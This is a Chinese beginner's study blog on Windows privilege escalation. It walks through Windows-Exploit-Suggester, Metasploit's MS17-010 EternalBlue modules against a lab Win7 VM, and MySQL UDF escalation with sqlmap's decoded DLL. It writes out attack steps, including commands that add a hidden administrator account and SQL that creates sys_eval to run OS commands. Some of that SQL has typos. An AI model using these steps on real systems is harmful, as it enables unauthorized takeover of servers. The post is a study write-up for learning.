前言
小白一枚,之前听过的比较厉害的操作就是提权,维权。今天学习一下。

权限提升

提权本质

提权本质就是提升自己在服务器中的权限,获得更大的权限。
例如:在Windows系统下普通用户,通过提权获得Administrator一样的权限;在linux中通过执行编译后的程序,从普通用户权限提升到root账号权限。

提权分类

第一种分类:

  • 本地提权
    当前登录到系统是一个普通用户,通过在本地执行的操作和程序来获得更高的权限
  • 远程提权
    远程提权是指在远程的机器上对目标服务器进行对应操作和执行程序对目标系统发送数据包,针对目标系统所存在的漏洞来获得最高的权限Administrator或者root。
    第二种分类
  • 系统提权
    针对系统的弱点或者漏洞来提升应的权限
  • 第三方软件提权
    利用系统上安装的一些软件(下载的),通过这些软件来提升权限。

    windows系统提权基础命令

  • 获取IP地址信息
    IP地址是计算机在网络中的门牌号,用来寻找计算机的地址。同一台计算机有多个IP地址,可以有外部连接的IP地址,内部IP地址。

在提权过程中,如果有外网IP地址,可以直接使用3389端口进行远程桌面连接。
在windows系统下使用 ipconfig /all查看网卡信息。
ipconfig获取的信息其实是不全面的,加个/all可以查看全部网卡信息。一般192.168开头的是私网地址。

  • 获取端口信息
    端口是计算机与外部连接的一个接口,每个开放的服务对应一个端口。
    windows系统下可以使用netstat命令获取端口开放状态。
    netstat -an获取当前主机所有端口的开放情况及网络连接情况。
  • 获取服务信息和进程信息
    在windows系统下可以使用tasklist /svc命令获取运行的进程名称、服务、和PID。
  • 添加链接描述进程结束、用户管理命令

1.使用taskkill来结束进程。taskkill /?获取帮助信息。
2.在windows系统下,系统访问需要有对应的用户和密码。
可以通过以下命令添加用户

net user username password /add
net localgroup administrator username /add

windows提权辅助工具

辅助工具介绍

Windows-Exploit-Suggester此工具将目标补丁与Microsoft漏洞数据库进行比较,以检测目标上潜在的缺失补丁。
github项目地址——🔑传送门
安装环境:python2.7、安装xlrd模块

#只有一个python2的环境
python -m pip install xlrd
#同时集合python2和python3
python2 -m pip install xlrd

m0re
安装成功。
然后执行--update以获取漏洞文件
m0re
在文件目录下获得一个这样的文件。
然后获取一个本机文件

systeminfo

然后使用命令将这些内容写入一个文件中,

systeminfo > win7.txt

生成一个win7文件,将它粘贴到辅助工具目录下。
使用命令进行测试

python windows-exploit-suggester.py --audit -i win7.txt -d 2020-07-01-mssb.xls

然后对比出来一些重要漏洞
m0re
如:MS13-055就是13年的第55个漏洞。

windows远程提权

在授权的情况下,针对目标机器进行提权。可以首先扫描系统是否存在可利用漏洞,探测是否可以利用。

如果可以直接获得最高权限,那么就不需要本地提权,直接远程提权拿到最高权限。
介绍一个漏洞ms17-010
ms17-010是一个安全类型的补丁,MS17-010更新修复了Microsoft Windows中的漏洞。

WannaCry(又叫Wanna Decryptor),一种“蠕虫式”的勒索病毒软件,大小3.3MB,由不法分子利用NSA(National Security Agency,美国国家安全局)泄露的危险漏洞“EternalBlue”(永恒之蓝)进行传播。勒索病毒肆虐,俨然是一场全球性互联网灾难,给广大电脑用户造成了巨大损失。最新统计数据显示,100多个国家和地区超过10万台电脑遭到了勒索病毒攻击、感染。勒索病毒是自熊猫烧香以来影响力最大的病毒之一。

扫描探测ms17-010漏洞
在metasploit下直接利用ms17-010的漏洞扫描模块进行探测。
利用metasploit下的windows/smb/ms17_010_eternalblue模块进行远程提权
设置完参数就可以进行攻击:

exploit				#开始执行
shell				#使用shell命令/功能
whoami				#查询当前登录的用户会发现是windows最高权限system

这个真的厉害,学到了。

上手操作一下

首先需要开启一台win7虚拟机,然后看一下win7的IP地址。
打开kali终端输入msfconsole启用metasploit
使用搜查ms17-010模块,use auxiliary/scanner/smb/smb_ms17_010
设置rhost参数:set rhosts 192.168.xx.xx
然后run
就可以查询当前IP是否存在漏洞了。search ms17-010
m0re
可以看出,这个漏洞是2017年3月14日的。
既然存在漏洞了,那就利用这个漏洞来进行提权操作。
metasploit下也集成了ms17-010的漏洞利用模块。use exploit/windows/smb/ms17_010_eternalblue
当然还有其他的模块。下面这个就是win8系统的。现在我的是win7,所以就用上面的这个就行。
m0re
然后设置一下rhosts就行了。好像是升级了,居然这么简单。设置好参数后直接使用exploit直接进行提权,等待一会。
过程很快的还是。直接输入whoami
会发现,已经是最高权限登录到win7了
m0re
成功了。

Mysql UDF提权

udf介绍

UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。

在提权过程中,经常使用mysql的udf.dl进行提权。并且提权之前,要上传udf.dll到指定的目录下。使用select@@plugin_dir;或show
variables like’plugin%’,查看具体目录。

m0re
修改目录方式:

1、mysqld.exe--plugin-dir=具体目录
2、mysqld.exe--defaults-file=具体目录
3、mysql.ini配置文件plugindir=具体目录

udf.dll获取

sqlmap下自带了对应提权使用的udf库。可以直接下载使用,但是sqlmap进行加密,需要解密使用。
sqlmap在kali中自带,可以使用下面这个方法。
sqlmap在/root/usr/share/sqlmap
关于UDF则是在
m0re
因为我的mysql是win32,所以选择32
奥,至于查看的话,在mysql命令行中使用

select @@version_compile_os;

m0re
不过这个udf是加密的,不过sqlmap中有解密的脚本,可以直接使用,脚本在extra中的cloak中,
m0re
然后就可以使用了,命令为

./cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_

不过我的使用时出问题了,忙着解决,也忘了截图了。我放弃了在linux中解密的方法,我在win7中也有sqlmap,所以我就在win7中解密了,可以成功。
m0re
然后在cloak目录下生成了dll文件。
m0re

上传udf

将udf.dll文件上传到具体目录下。
具体目录上面已经说过查询方法。

上传方式:
利用SQL注入进行上传select load_file() into dumpfile " 具体路径"
使用菜刀直接上传
emmm我直接将文件放在对应目录下了,不演示上传
m0re

执行提权命令

create function sys_eval returns string soname 'udf.dll;
select* from mysqlaiunc where name='sys_eval';
select sys _eval('dir);
select sys _eval('net user user1 123 /add');
select sys _eval('net localgroup administrators user1 /add"); 
drop function sys_eval;

如果出现这样的界面就是对了。
m0re
然后进行下面的步骤就行。
m0re
然后会执行dir命令,显示当前目录下的文件。
如果电脑中安装有360安全(LM)卫士,会有提示的
m0re
emmm ,这基本就是MySQL的UDF提权的操作了。学到了好多。

此次学习到此结束。

文末寄语:

所有的悲伤,总会留下一丝欢乐的线索。所有的遗憾,总会留下一处完美的角落。我在冰封的深海,找寻希望的缺口。却在午夜惊醒时,蓦然瞥见绝美的月光。——《缺口》